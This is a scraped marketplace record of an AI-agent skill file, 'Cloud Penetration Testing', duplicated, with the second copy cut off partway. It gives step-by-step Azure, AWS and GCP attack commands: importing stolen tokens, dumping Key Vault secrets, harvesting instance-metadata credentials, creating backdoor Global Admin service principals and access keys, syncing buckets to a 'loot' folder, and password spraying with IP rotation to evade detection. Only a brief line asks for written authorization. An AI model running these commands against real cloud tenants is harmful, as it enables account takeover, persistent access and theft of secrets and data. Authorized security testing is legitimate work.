[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6CBY64BPRZ1KB6PDCM112VV":3,"skill-same:01M6CBY64BPRZ1KB6PDCM112VV":76},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":23,"publishedAt":40,"linkOnly":41,"markdownContent":42,"markdownBody":43,"frontMatter":44,"refName":48,"commitSha":49,"skillDirectory":50,"forksCount":14,"repositoryHtmlUrl":51,"repositoryHomepageUrl":6,"ownerHtmlUrl":52,"ownerBlogUrl":53,"ownerDescription":54,"updatedAt":55,"install":56,"resources":69},"01M6CBY64BPRZ1KB6PDCM112VV","Cloud Penetration Testing",null,"This skill should be used when the user asks to \"perform cloud penetration testing\", \"assess Azure or AWS or GCP security\", \"enumerate cloud resources\", \"exploit cloud misconfigurations\", \"test O365 security\", \"extract secrets from cloud environments\", or \"audit cloud infrastructure\". It provides comprehensive techniques for security assessment across major cloud platforms.","Gabriellmaia01\u002Fneuro-dose-assist","Gabriellmaia01","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F135177180?v=4","01M6CBRZEZC8G5C400AG3SPFNH","Gabriel","01M6CBRZK8MB7DWW0B4C82TV2G",0,"MIT","https:\u002F\u002Fgithub.com\u002FGabriellmaia01\u002Fneuro-dose-assist\u002Fblob\u002Fmain\u002F.agent\u002Fskills\u002Fskills\u002Fcloud-penetration-testing\u002FSKILL.md",[18],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量","SCENARIO","使用场景",[24,5,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39],"testing","cloud","penetration testing","security assessment","exploit","extract","user","secrets","gcp","aws","audit","assessment","infrastructure","azure","test","security","2026-11-10 10:12:30",false,"---\nname: Cloud Penetration Testing\ndescription: This skill should be used when the user asks to \"perform cloud penetration testing\", \"assess Azure or AWS or GCP security\", \"enumerate cloud resources\", \"exploit cloud misconfigurations\", \"test O365 security\", \"extract secrets from cloud environments\", or \"audit cloud infrastructure\". It provides comprehensive techniques for security assessment across major cloud platforms.\nmetadata:\n  author: zebbern\n  version: \"1.1\"\n---\n\n# Cloud Penetration Testing\n\n## Purpose\n\nConduct comprehensive security assessments of cloud infrastructure across Microsoft Azure, Amazon Web Services (AWS), and Google Cloud Platform (GCP). This skill covers reconnaissance, authentication testing, resource enumeration, privilege escalation, data extraction, and persistence techniques for authorized cloud security engagements.\n\n## Prerequisites\n\n### Required Tools\n```bash\n# Azure tools\nInstall-Module -Name Az -AllowClobber -Force\nInstall-Module -Name MSOnline -Force\nInstall-Module -Name AzureAD -Force\n\n# AWS CLI\ncurl \"https:\u002F\u002Fawscli.amazonaws.com\u002Fawscli-exe-linux-x86_64.zip\" -o \"awscliv2.zip\"\nunzip awscliv2.zip && sudo .\u002Faws\u002Finstall\n\n# GCP CLI\ncurl https:\u002F\u002Fsdk.cloud.google.com | bash\ngcloud init\n\n# Additional tools\npip install scoutsuite pacu\n```\n\n### Required Knowledge\n- Cloud architecture fundamentals\n- Identity and Access Management (IAM)\n- API authentication mechanisms\n- DevOps and automation concepts\n\n### Required Access\n- Written authorization for testing\n- Test credentials or access tokens\n- Defined scope and rules of engagement\n\n## Outputs and Deliverables\n\n1. **Cloud Security Assessment Report** - Comprehensive findings and risk ratings\n2. **Resource Inventory** - Enumerated services, storage, and compute instances\n3. **Credential Findings** - Exposed secrets, keys, and misconfigurations\n4. **Remediation Recommendations** - Hardening guidance per platform\n\n## Core Workflow\n\n### Phase 1: Reconnaissance\n\nGather initial information about target cloud presence:\n\n```bash\n# Azure: Get federation info\ncurl \"https:\u002F\u002Flogin.microsoftonline.com\u002Fgetuserrealm.srf?login=user@target.com&xml=1\"\n\n# Azure: Get Tenant ID\ncurl \"https:\u002F\u002Flogin.microsoftonline.com\u002Ftarget.com\u002Fv2.0\u002F.well-known\u002Fopenid-configuration\"\n\n# Enumerate cloud resources by company name\npython3 cloud_enum.py -k targetcompany\n\n# Check IP against cloud providers\ncat ips.txt | python3 ip2provider.py\n```\n\n### Phase 2: Azure Authentication\n\nAuthenticate to Azure environments:\n\n```powershell\n# Az PowerShell Module\nImport-Module Az\nConnect-AzAccount\n\n# With credentials (may bypass MFA)\n$credential = Get-Credential\nConnect-AzAccount -Credential $credential\n\n# Import stolen context\nImport-AzContext -Profile 'C:\\Temp\\StolenToken.json'\n\n# Export context for persistence\nSave-AzContext -Path C:\\Temp\\AzureAccessToken.json\n\n# MSOnline Module\nImport-Module MSOnline\nConnect-MsolService\n```\n\n### Phase 3: Azure Enumeration\n\nDiscover Azure resources and permissions:\n\n```powershell\n# List contexts and subscriptions\nGet-AzContext -ListAvailable\nGet-AzSubscription\n\n# Current user role assignments\nGet-AzRoleAssignment\n\n# List resources\nGet-AzResource\nGet-AzResourceGroup\n\n# Storage accounts\nGet-AzStorageAccount\n\n# Web applications\nGet-AzWebApp\n\n# SQL Servers and databases\nGet-AzSQLServer\nGet-AzSqlDatabase -ServerName $Server -ResourceGroupName $RG\n\n# Virtual machines\nGet-AzVM\n$vm = Get-AzVM -Name \"VMName\"\n$vm.OSProfile\n\n# List all users\nGet-MSolUser -All\n\n# List all groups\nGet-MSolGroup -All\n\n# Global Admins\nGet-MsolRole -RoleName \"Company Administrator\"\nGet-MSolGroupMember -GroupObjectId $GUID\n\n# Service Principals\nGet-MsolServicePrincipal\n```\n\n### Phase 4: Azure Exploitation\n\nExploit Azure misconfigurations:\n\n```powershell\n# Search user attributes for passwords\n$users = Get-MsolUser -All\nforeach($user in $users){\n    $props = @()\n    $user | Get-Member | foreach-object{$props+=$_.Name}\n    foreach($prop in $props){\n        if($user.$prop -like \"*password*\"){\n            Write-Output (\"[*]\" + $user.UserPrincipalName + \"[\" + $prop + \"]\" + \" : \" + $user.$prop)\n        }\n    }\n}\n\n# Execute commands on VMs\nInvoke-AzVMRunCommand -ResourceGroupName $RG -VMName $VM -CommandId RunPowerShellScript -ScriptPath .\u002Fscript.ps1\n\n# Extract VM UserData\n$vms = Get-AzVM\n$vms.UserData\n\n# Dump Key Vault secrets\naz keyvault list --query '[].name' --output tsv\naz keyvault set-policy --name \u003Cvault> --upn \u003Cuser> --secret-permissions get list\naz keyvault secret list --vault-name \u003Cvault> --query '[].id' --output tsv\naz keyvault secret show --id \u003CURI>\n```\n\n### Phase 5: Azure Persistence\n\nEstablish persistence in Azure:\n\n```powershell\n# Create backdoor service principal\n$spn = New-AzAdServicePrincipal -DisplayName \"WebService\" -Role Owner\n$BSTR = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($spn.Secret)\n$UnsecureSecret = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($BSTR)\n\n# Add service principal to Global Admin\n$sp = Get-MsolServicePrincipal -AppPrincipalId \u003CAppID>\n$role = Get-MsolRole -RoleName \"Company Administrator\"\nAdd-MsolRoleMember -RoleObjectId $role.ObjectId -RoleMemberType ServicePrincipal -RoleMemberObjectId $sp.ObjectId\n\n# Login as service principal\n$cred = Get-Credential  # AppID as username, secret as password\nConnect-AzAccount -Credential $cred -Tenant \"tenant-id\" -ServicePrincipal\n\n# Create new admin user via CLI\naz ad user create --display-name \u003Cname> --password \u003Cpass> --user-principal-name \u003Cupn>\n```\n\n### Phase 6: AWS Authentication\n\nAuthenticate to AWS environments:\n\n```bash\n# Configure AWS CLI\naws configure\n# Enter: Access Key ID, Secret Access Key, Region, Output format\n\n# Use specific profile\naws configure --profile target\n\n# Test credentials\naws sts get-caller-identity\n```\n\n### Phase 7: AWS Enumeration\n\nDiscover AWS resources:\n\n```bash\n# Account information\naws sts get-caller-identity\naws iam list-users\naws iam list-roles\n\n# S3 Buckets\naws s3 ls\naws s3 ls s3:\u002F\u002Fbucket-name\u002F\naws s3 sync s3:\u002F\u002Fbucket-name .\u002Flocal-dir\n\n# EC2 Instances\naws ec2 describe-instances\n\n# RDS Databases\naws rds describe-db-instances --region us-east-1\n\n# Lambda Functions\naws lambda list-functions --region us-east-1\naws lambda get-function --function-name \u003Cname>\n\n# EKS Clusters\naws eks list-clusters --region us-east-1\n\n# Networking\naws ec2 describe-subnets\naws ec2 describe-security-groups --group-ids \u003Csg-id>\naws directconnect describe-connections\n```\n\n### Phase 8: AWS Exploitation\n\nExploit AWS misconfigurations:\n\n```bash\n# Check for public RDS snapshots\naws rds describe-db-snapshots --snapshot-type manual --query=DBSnapshots[*].DBSnapshotIdentifier\naws rds describe-db-snapshot-attributes --db-snapshot-identifier \u003Cid>\n# AttributeValues = \"all\" means publicly accessible\n\n# Extract Lambda environment variables (may contain secrets)\naws lambda get-function --function-name \u003Cname> | jq '.Configuration.Environment'\n\n# Access metadata service (from compromised EC2)\ncurl http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F\ncurl http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002F\n\n# IMDSv2 access\nTOKEN=$(curl -X PUT \"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fapi\u002Ftoken\" -H \"X-aws-ec2-metadata-token-ttl-seconds: 21600\")\ncurl http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fprofile -H \"X-aws-ec2-metadata-token: $TOKEN\"\n```\n\n### Phase 9: AWS Persistence\n\nEstablish persistence in AWS:\n\n```bash\n# List existing access keys\naws iam list-access-keys --user-name \u003Cusername>\n\n# Create backdoor access key\naws iam create-access-key --user-name \u003Cusername>\n\n# Get all EC2 public IPs\nfor region in $(cat regions.txt); do\n    aws ec2 describe-instances --query=Reservations[].Instances[].PublicIpAddress --region $region | jq -r '.[]'\ndone\n```\n\n### Phase 10: GCP Enumeration\n\nDiscover GCP resources:\n\n```bash\n# Authentication\ngcloud auth login\ngcloud auth activate-service-account --key-file creds.json\ngcloud auth list\n\n# Account information\ngcloud config list\ngcloud organizations list\ngcloud projects list\n\n# IAM Policies\ngcloud organizations get-iam-policy \u003Corg-id>\ngcloud projects get-iam-policy \u003Cproject-id>\n\n# Enabled services\ngcloud services list\n\n# Source code repos\ngcloud source repos list\ngcloud source repos clone \u003Crepo>\n\n# Compute instances\ngcloud compute instances list\ngcloud beta compute ssh --zone \"region\" \"instance\" --project \"project\"\n\n# Storage buckets\ngsutil ls\ngsutil ls -r gs:\u002F\u002Fbucket-name\ngsutil cp gs:\u002F\u002Fbucket\u002Ffile .\u002Flocal\n\n# SQL instances\ngcloud sql instances list\ngcloud sql databases list --instance \u003Cid>\n\n# Kubernetes\ngcloud container clusters list\ngcloud container clusters get-credentials \u003Ccluster> --region \u003Cregion>\nkubectl cluster-info\n```\n\n### Phase 11: GCP Exploitation\n\nExploit GCP misconfigurations:\n\n```bash\n# Get metadata service data\ncurl \"http:\u002F\u002Fmetadata.google.internal\u002FcomputeMetadata\u002Fv1\u002F?recursive=true&alt=text\" -H \"Metadata-Flavor: Google\"\n\n# Check access scopes\ncurl http:\u002F\u002Fmetadata.google.internal\u002FcomputeMetadata\u002Fv1\u002Finstance\u002Fservice-accounts\u002Fdefault\u002Fscopes -H 'Metadata-Flavor:Google'\n\n# Decrypt data with keyring\ngcloud kms decrypt --ciphertext-file=encrypted.enc --plaintext-file=out.txt --key \u003Ckey> --keyring \u003Ckeyring> --location global\n\n# Serverless function analysis\ngcloud functions list\ngcloud functions describe \u003Cname>\ngcloud functions logs read \u003Cname> --limit 100\n\n# Find stored credentials\nsudo find \u002Fhome -name \"credentials.db\"\nsudo cp -r \u002Fhome\u002Fuser\u002F.config\u002Fgcloud ~\u002F.config\ngcloud auth list\n```\n\n## Quick Reference\n\n### Azure Key Commands\n\n| Action | Command |\n|--------|---------|\n| Login | `Connect-AzAccount` |\n| List subscriptions | `Get-AzSubscription` |\n| List users | `Get-MsolUser -All` |\n| List groups | `Get-MsolGroup -All` |\n| Current roles | `Get-AzRoleAssignment` |\n| List VMs | `Get-AzVM` |\n| List storage | `Get-AzStorageAccount` |\n| Key Vault secrets | `az keyvault secret list --vault-name \u003Cname>` |\n\n### AWS Key Commands\n\n| Action | Command |\n|--------|---------|\n| Configure | `aws configure` |\n| Caller identity | `aws sts get-caller-identity` |\n| List users | `aws iam list-users` |\n| List S3 buckets | `aws s3 ls` |\n| List EC2 | `aws ec2 describe-instances` |\n| List Lambda | `aws lambda list-functions` |\n| Metadata | `curl http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F` |\n\n### GCP Key Commands\n\n| Action | Command |\n|--------|---------|\n| Login | `gcloud auth login` |\n| List projects | `gcloud projects list` |\n| List instances | `gcloud compute instances list` |\n| List buckets | `gsutil ls` |\n| List clusters | `gcloud container clusters list` |\n| IAM policy | `gcloud projects get-iam-policy \u003Cproject>` |\n| Metadata | `curl -H \"Metadata-Flavor: Google\" http:\u002F\u002Fmetadata.google.internal\u002F...` |\n\n### Metadata Service URLs\n\n| Provider | URL |\n|----------|-----|\n| AWS | `http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F` |\n| Azure | `http:\u002F\u002F169.254.169.254\u002Fmetadata\u002Finstance?api-version=2018-02-01` |\n| GCP | `http:\u002F\u002Fmetadata.google.internal\u002FcomputeMetadata\u002Fv1\u002F` |\n\n### Useful Tools\n\n| Tool | Purpose |\n|------|---------|\n| ScoutSuite | Multi-cloud security auditing |\n| Pacu | AWS exploitation framework |\n| AzureHound | Azure AD attack path mapping |\n| ROADTools | Azure AD enumeration |\n| WeirdAAL | AWS service enumeration |\n| MicroBurst | Azure security assessment |\n| PowerZure | Azure post-exploitation |\n\n## Constraints and Limitations\n\n### Legal Requirements\n- Only test with explicit written authorization\n- Respect scope boundaries between cloud accounts\n- Do not access production customer data\n- Document all testing activities\n\n### Technical Limitations\n- MFA may prevent credential-based attacks\n- Conditional Access policies may restrict access\n- CloudTrail\u002FActivity Logs record all API calls\n- Some resources require specific regional access\n\n### Detection Considerations\n- Cloud providers log all API activity\n- Unusual access patterns trigger alerts\n- Use slow, deliberate enumeration\n- Consider GuardDuty, Security Center, Cloud Armor\n\n## Examples\n\n### Example 1: Azure Password Spray\n\n**Scenario:** Test Azure AD password policy\n\n```powershell\n# Using MSOLSpray with FireProx for IP rotation\n# First create FireProx endpoint\npython fire.py --access_key \u003Ckey> --secret_access_key \u003Csecret> --region us-east-1 --url https:\u002F\u002Flogin.microsoft.com --command create\n\n# Spray passwords\nImport-Module .\\MSOLSpray.ps1\nInvoke-MSOLSpray -UserList .\\users.txt -Password \"Spring2024!\" -URL https:\u002F\u002F\u003Capi-gateway>.execute-api.us-east-1.amazonaws.com\u002Ffireprox\n```\n\n### Example 2: AWS S3 Bucket Enumeration\n\n**Scenario:** Find and access misconfigured S3 buckets\n\n```bash\n# List all buckets\naws s3 ls | awk '{print $3}' > buckets.txt\n\n# Check each bucket for contents\nwhile read bucket; do\n    echo \"Checking: $bucket\"\n    aws s3 ls s3:\u002F\u002F$bucket 2>\u002Fdev\u002Fnull\ndone \u003C buckets.txt\n\n# Download interesting bucket\naws s3 sync s3:\u002F\u002Fmisconfigured-bucket .\u002Floot\u002F\n```\n\n### Example 3: GCP Service Account Compromise\n\n**Scenario:** Pivot using compromised service account\n\n```bash\n# Authenticate with service account key\ngcloud auth activate-service-account --key-file compromised-sa.json\n\n# List accessible projects\ngcloud projects list\n\n# Enumerate compute instances\ngcloud compute instances list --project target-project\n\n# Check for SSH keys in metadata\ngcloud compute project-info describe --project target-project | grep ssh\n\n# SSH to instance\ngcloud beta compute ssh instance-name --zone us-central1-a --project target-project\n```\n\n## Troubleshooting\n\n| Issue | Solutions |\n|-------|-----------|\n| Authentication failures | Verify credentials; check MFA; ensure correct tenant\u002Fproject; try alternative auth methods |\n| Permission denied | List current roles; try different resources; check resource policies; verify region |\n| Metadata service blocked | Check IMDSv2 (AWS); verify instance role; check firewall for 169.254.169.254 |\n| Rate limiting | Add delays; spread across regions; use multiple credentials; focus on high-value targets |\n\n## References\n\n- [Advanced Cloud Scripts](references\u002Fadvanced-cloud-scripts.md) - Azure Automation runbooks, Function Apps enumeration, AWS data exfiltration, GCP advanced exploitation\n","# Cloud Penetration Testing\n\n## Purpose\n\nConduct comprehensive security assessments of cloud infrastructure across Microsoft Azure, Amazon Web Services (AWS), and Google Cloud Platform (GCP). This skill covers reconnaissance, authentication testing, resource enumeration, privilege escalation, data extraction, and persistence techniques for authorized cloud security engagements.\n\n## Prerequisites\n\n### Required Tools\n```bash\n# Azure tools\nInstall-Module -Name Az -AllowClobber -Force\nInstall-Module -Name MSOnline -Force\nInstall-Module -Name AzureAD -Force\n\n# AWS CLI\ncurl \"https:\u002F\u002Fawscli.amazonaws.com\u002Fawscli-exe-linux-x86_64.zip\" -o \"awscliv2.zip\"\nunzip awscliv2.zip && sudo .\u002Faws\u002Finstall\n\n# GCP CLI\ncurl https:\u002F\u002Fsdk.cloud.google.com | bash\ngcloud init\n\n# Additional tools\npip install scoutsuite pacu\n```\n\n### Required Knowledge\n- Cloud architecture fundamentals\n- Identity and Access Management (IAM)\n- API authentication mechanisms\n- DevOps and automation concepts\n\n### Required Access\n- Written authorization for testing\n- Test credentials or access tokens\n- Defined scope and rules of engagement\n\n## Outputs and Deliverables\n\n1. **Cloud Security Assessment Report** - Comprehensive findings and risk ratings\n2. **Resource Inventory** - Enumerated services, storage, and compute instances\n3. **Credential Findings** - Exposed secrets, keys, and misconfigurations\n4. **Remediation Recommendations** - Hardening guidance per platform\n\n## Core Workflow\n\n### Phase 1: Reconnaissance\n\nGather initial information about target cloud presence:\n\n```bash\n# Azure: Get federation info\ncurl \"https:\u002F\u002Flogin.microsoftonline.com\u002Fgetuserrealm.srf?login=user@target.com&xml=1\"\n\n# Azure: Get Tenant ID\ncurl \"https:\u002F\u002Flogin.microsoftonline.com\u002Ftarget.com\u002Fv2.0\u002F.well-known\u002Fopenid-configuration\"\n\n# Enumerate cloud resources by company name\npython3 cloud_enum.py -k targetcompany\n\n# Check IP against cloud providers\ncat ips.txt | python3 ip2provider.py\n```\n\n### Phase 2: Azure Authentication\n\nAuthenticate to Azure environments:\n\n```powershell\n# Az PowerShell Module\nImport-Module Az\nConnect-AzAccount\n\n# With credentials (may bypass MFA)\n$credential = Get-Credential\nConnect-AzAccount -Credential $credential\n\n# Import stolen context\nImport-AzContext -Profile 'C:\\Temp\\StolenToken.json'\n\n# Export context for persistence\nSave-AzContext -Path C:\\Temp\\AzureAccessToken.json\n\n# MSOnline Module\nImport-Module MSOnline\nConnect-MsolService\n```\n\n### Phase 3: Azure Enumeration\n\nDiscover Azure resources and permissions:\n\n```powershell\n# List contexts and subscriptions\nGet-AzContext -ListAvailable\nGet-AzSubscription\n\n# Current user role assignments\nGet-AzRoleAssignment\n\n# List resources\nGet-AzResource\nGet-AzResourceGroup\n\n# Storage accounts\nGet-AzStorageAccount\n\n# Web applications\nGet-AzWebApp\n\n# SQL Servers and databases\nGet-AzSQLServer\nGet-AzSqlDatabase -ServerName $Server -ResourceGroupName $RG\n\n# Virtual machines\nGet-AzVM\n$vm = Get-AzVM -Name \"VMName\"\n$vm.OSProfile\n\n# List all users\nGet-MSolUser -All\n\n# List all groups\nGet-MSolGroup -All\n\n# Global Admins\nGet-MsolRole -RoleName \"Company Administrator\"\nGet-MSolGroupMember -GroupObjectId $GUID\n\n# Service Principals\nGet-MsolServicePrincipal\n```\n\n### Phase 4: Azure Exploitation\n\nExploit Azure misconfigurations:\n\n```powershell\n# Search user attributes for passwords\n$users = Get-MsolUser -All\nforeach($user in $users){\n    $props = @()\n    $user | Get-Member | foreach-object{$props+=$_.Name}\n    foreach($prop in $props){\n        if($user.$prop -like \"*password*\"){\n            Write-Output (\"[*]\" + $user.UserPrincipalName + \"[\" + $prop + \"]\" + \" : \" + $user.$prop)\n        }\n    }\n}\n\n# Execute commands on VMs\nInvoke-AzVMRunCommand -ResourceGroupName $RG -VMName $VM -CommandId RunPowerShellScript -ScriptPath .\u002Fscript.ps1\n\n# Extract VM UserData\n$vms = Get-AzVM\n$vms.UserData\n\n# Dump Key Vault secrets\naz keyvault list --query '[].name' --output tsv\naz keyvault set-policy --name \u003Cvault> --upn \u003Cuser> --secret-permissions get list\naz keyvault secret list --vault-name \u003Cvault> --query '[].id' --output tsv\naz keyvault secret show --id \u003CURI>\n```\n\n### Phase 5: Azure Persistence\n\nEstablish persistence in Azure:\n\n```powershell\n# Create backdoor service principal\n$spn = New-AzAdServicePrincipal -DisplayName \"WebService\" -Role Owner\n$BSTR = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($spn.Secret)\n$UnsecureSecret = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($BSTR)\n\n# Add service principal to Global Admin\n$sp = Get-MsolServicePrincipal -AppPrincipalId \u003CAppID>\n$role = Get-MsolRole -RoleName \"Company Administrator\"\nAdd-MsolRoleMember -RoleObjectId $role.ObjectId -RoleMemberType ServicePrincipal -RoleMemberObjectId $sp.ObjectId\n\n# Login as service principal\n$cred = Get-Credential  # AppID as username, secret as password\nConnect-AzAccount -Credential $cred -Tenant \"tenant-id\" -ServicePrincipal\n\n# Create new admin user via CLI\naz ad user create --display-name \u003Cname> --password \u003Cpass> --user-principal-name \u003Cupn>\n```\n\n### Phase 6: AWS Authentication\n\nAuthenticate to AWS environments:\n\n```bash\n# Configure AWS CLI\naws configure\n# Enter: Access Key ID, Secret Access Key, Region, Output format\n\n# Use specific profile\naws configure --profile target\n\n# Test credentials\naws sts get-caller-identity\n```\n\n### Phase 7: AWS Enumeration\n\nDiscover AWS resources:\n\n```bash\n# Account information\naws sts get-caller-identity\naws iam list-users\naws iam list-roles\n\n# S3 Buckets\naws s3 ls\naws s3 ls s3:\u002F\u002Fbucket-name\u002F\naws s3 sync s3:\u002F\u002Fbucket-name .\u002Flocal-dir\n\n# EC2 Instances\naws ec2 describe-instances\n\n# RDS Databases\naws rds describe-db-instances --region us-east-1\n\n# Lambda Functions\naws lambda list-functions --region us-east-1\naws lambda get-function --function-name \u003Cname>\n\n# EKS Clusters\naws eks list-clusters --region us-east-1\n\n# Networking\naws ec2 describe-subnets\naws ec2 describe-security-groups --group-ids \u003Csg-id>\naws directconnect describe-connections\n```\n\n### Phase 8: AWS Exploitation\n\nExploit AWS misconfigurations:\n\n```bash\n# Check for public RDS snapshots\naws rds describe-db-snapshots --snapshot-type manual --query=DBSnapshots[*].DBSnapshotIdentifier\naws rds describe-db-snapshot-attributes --db-snapshot-identifier \u003Cid>\n# AttributeValues = \"all\" means publicly accessible\n\n# Extract Lambda environment variables (may contain secrets)\naws lambda get-function --function-name \u003Cname> | jq '.Configuration.Environment'\n\n# Access metadata service (from compromised EC2)\ncurl http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F\ncurl http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002F\n\n# IMDSv2 access\nTOKEN=$(curl -X PUT \"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fapi\u002Ftoken\" -H \"X-aws-ec2-metadata-token-ttl-seconds: 21600\")\ncurl http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fprofile -H \"X-aws-ec2-metadata-token: $TOKEN\"\n```\n\n### Phase 9: AWS Persistence\n\nEstablish persistence in AWS:\n\n```bash\n# List existing access keys\naws iam list-access-keys --user-name \u003Cusername>\n\n# Create backdoor access key\naws iam create-access-key --user-name \u003Cusername>\n\n# Get all EC2 public IPs\nfor region in $(cat regions.txt); do\n    aws ec2 describe-instances --query=Reservations[].Instances[].PublicIpAddress --region $region | jq -r '.[]'\ndone\n```\n\n### Phase 10: GCP Enumeration\n\nDiscover GCP resources:\n\n```bash\n# Authentication\ngcloud auth login\ngcloud auth activate-service-account --key-file creds.json\ngcloud auth list\n\n# Account information\ngcloud config list\ngcloud organizations list\ngcloud projects list\n\n# IAM Policies\ngcloud organizations get-iam-policy \u003Corg-id>\ngcloud projects get-iam-policy \u003Cproject-id>\n\n# Enabled services\ngcloud services list\n\n# Source code repos\ngcloud source repos list\ngcloud source repos clone \u003Crepo>\n\n# Compute instances\ngcloud compute instances list\ngcloud beta compute ssh --zone \"region\" \"instance\" --project \"project\"\n\n# Storage buckets\ngsutil ls\ngsutil ls -r gs:\u002F\u002Fbucket-name\ngsutil cp gs:\u002F\u002Fbucket\u002Ffile .\u002Flocal\n\n# SQL instances\ngcloud sql instances list\ngcloud sql databases list --instance \u003Cid>\n\n# Kubernetes\ngcloud container clusters list\ngcloud container clusters get-credentials \u003Ccluster> --region \u003Cregion>\nkubectl cluster-info\n```\n\n### Phase 11: GCP Exploitation\n\nExploit GCP misconfigurations:\n\n```bash\n# Get metadata service data\ncurl \"http:\u002F\u002Fmetadata.google.internal\u002FcomputeMetadata\u002Fv1\u002F?recursive=true&alt=text\" -H \"Metadata-Flavor: Google\"\n\n# Check access scopes\ncurl http:\u002F\u002Fmetadata.google.internal\u002FcomputeMetadata\u002Fv1\u002Finstance\u002Fservice-accounts\u002Fdefault\u002Fscopes -H 'Metadata-Flavor:Google'\n\n# Decrypt data with keyring\ngcloud kms decrypt --ciphertext-file=encrypted.enc --plaintext-file=out.txt --key \u003Ckey> --keyring \u003Ckeyring> --location global\n\n# Serverless function analysis\ngcloud functions list\ngcloud functions describe \u003Cname>\ngcloud functions logs read \u003Cname> --limit 100\n\n# Find stored credentials\nsudo find \u002Fhome -name \"credentials.db\"\nsudo cp -r \u002Fhome\u002Fuser\u002F.config\u002Fgcloud ~\u002F.config\ngcloud auth list\n```\n\n## Quick Reference\n\n### Azure Key Commands\n\n| Action | Command |\n|--------|---------|\n| Login | `Connect-AzAccount` |\n| List subscriptions | `Get-AzSubscription` |\n| List users | `Get-MsolUser -All` |\n| List groups | `Get-MsolGroup -All` |\n| Current roles | `Get-AzRoleAssignment` |\n| List VMs | `Get-AzVM` |\n| List storage | `Get-AzStorageAccount` |\n| Key Vault secrets | `az keyvault secret list --vault-name \u003Cname>` |\n\n### AWS Key Commands\n\n| Action | Command |\n|--------|---------|\n| Configure | `aws configure` |\n| Caller identity | `aws sts get-caller-identity` |\n| List users | `aws iam list-users` |\n| List S3 buckets | `aws s3 ls` |\n| List EC2 | `aws ec2 describe-instances` |\n| List Lambda | `aws lambda list-functions` |\n| Metadata | `curl http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F` |\n\n### GCP Key Commands\n\n| Action | Command |\n|--------|---------|\n| Login | `gcloud auth login` |\n| List projects | `gcloud projects list` |\n| List instances | `gcloud compute instances list` |\n| List buckets | `gsutil ls` |\n| List clusters | `gcloud container clusters list` |\n| IAM policy | `gcloud projects get-iam-policy \u003Cproject>` |\n| Metadata | `curl -H \"Metadata-Flavor: Google\" http:\u002F\u002Fmetadata.google.internal\u002F...` |\n\n### Metadata Service URLs\n\n| Provider | URL |\n|----------|-----|\n| AWS | `http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F` |\n| Azure | `http:\u002F\u002F169.254.169.254\u002Fmetadata\u002Finstance?api-version=2018-02-01` |\n| GCP | `http:\u002F\u002Fmetadata.google.internal\u002FcomputeMetadata\u002Fv1\u002F` |\n\n### Useful Tools\n\n| Tool | Purpose |\n|------|---------|\n| ScoutSuite | Multi-cloud security auditing |\n| Pacu | AWS exploitation framework |\n| AzureHound | Azure AD attack path mapping |\n| ROADTools | Azure AD enumeration |\n| WeirdAAL | AWS service enumeration |\n| MicroBurst | Azure security assessment |\n| PowerZure | Azure post-exploitation |\n\n## Constraints and Limitations\n\n### Legal Requirements\n- Only test with explicit written authorization\n- Respect scope boundaries between cloud accounts\n- Do not access production customer data\n- Document all testing activities\n\n### Technical Limitations\n- MFA may prevent credential-based attacks\n- Conditional Access policies may restrict access\n- CloudTrail\u002FActivity Logs record all API calls\n- Some resources require specific regional access\n\n### Detection Considerations\n- Cloud providers log all API activity\n- Unusual access patterns trigger alerts\n- Use slow, deliberate enumeration\n- Consider GuardDuty, Security Center, Cloud Armor\n\n## Examples\n\n### Example 1: Azure Password Spray\n\n**Scenario:** Test Azure AD password policy\n\n```powershell\n# Using MSOLSpray with FireProx for IP rotation\n# First create FireProx endpoint\npython fire.py --access_key \u003Ckey> --secret_access_key \u003Csecret> --region us-east-1 --url https:\u002F\u002Flogin.microsoft.com --command create\n\n# Spray passwords\nImport-Module .\\MSOLSpray.ps1\nInvoke-MSOLSpray -UserList .\\users.txt -Password \"Spring2024!\" -URL https:\u002F\u002F\u003Capi-gateway>.execute-api.us-east-1.amazonaws.com\u002Ffireprox\n```\n\n### Example 2: AWS S3 Bucket Enumeration\n\n**Scenario:** Find and access misconfigured S3 buckets\n\n```bash\n# List all buckets\naws s3 ls | awk '{print $3}' > buckets.txt\n\n# Check each bucket for contents\nwhile read bucket; do\n    echo \"Checking: $bucket\"\n    aws s3 ls s3:\u002F\u002F$bucket 2>\u002Fdev\u002Fnull\ndone \u003C buckets.txt\n\n# Download interesting bucket\naws s3 sync s3:\u002F\u002Fmisconfigured-bucket .\u002Floot\u002F\n```\n\n### Example 3: GCP Service Account Compromise\n\n**Scenario:** Pivot using compromised service account\n\n```bash\n# Authenticate with service account key\ngcloud auth activate-service-account --key-file compromised-sa.json\n\n# List accessible projects\ngcloud projects list\n\n# Enumerate compute instances\ngcloud compute instances list --project target-project\n\n# Check for SSH keys in metadata\ngcloud compute project-info describe --project target-project | grep ssh\n\n# SSH to instance\ngcloud beta compute ssh instance-name --zone 